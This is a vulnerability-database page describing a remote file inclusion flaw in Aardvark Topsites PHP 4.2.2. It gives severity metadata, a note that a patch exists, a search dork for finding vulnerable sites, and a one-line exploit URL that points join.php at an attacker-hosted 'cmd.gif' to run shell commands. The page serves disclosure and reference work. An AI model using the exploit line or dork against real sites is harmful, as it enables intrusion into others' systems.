header-logo
Suggest Exploit
vendor:
Aardvark Topsites PHP
by:
milw0rm.com
7,5
CVSS
HIGH
Remote File Inclusion
98
CWE
Product Name: Aardvark Topsites PHP
Affected Version From: 4.2.2
Affected Version To: 4.2.2
Patch Exists: YES
Related CWE: N/A
CPE: aardvarktopsitesphp
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2006

Aardvark Topsites PHP 4.2.2 remote file inclusion

A vulnerability in Aardvark Topsites PHP 4.2.2 allows remote attackers to include arbitrary files via a URL in the CONFIG[path] parameter to join.php.

Mitigation:

The vendor has released a patch to address this vulnerability.
Source

Exploit-DB raw data:

Title: Aardvark Topsites PHP 4.2.2 remote file inclusion
URL: http://www.aardvarktopsitesphp.com/
Dork: "Powered By Aardvark Topsites PHP 4.2.2"

Exploit: /sources/join.php?FORM[url]=owned&CONFIG[captcha]=1&CONFIG[path]=http://yourhost/cmd.gif?cmd=ls

# milw0rm.com [2006-04-30]

Navigation

Suggest Exploit

Services By CQR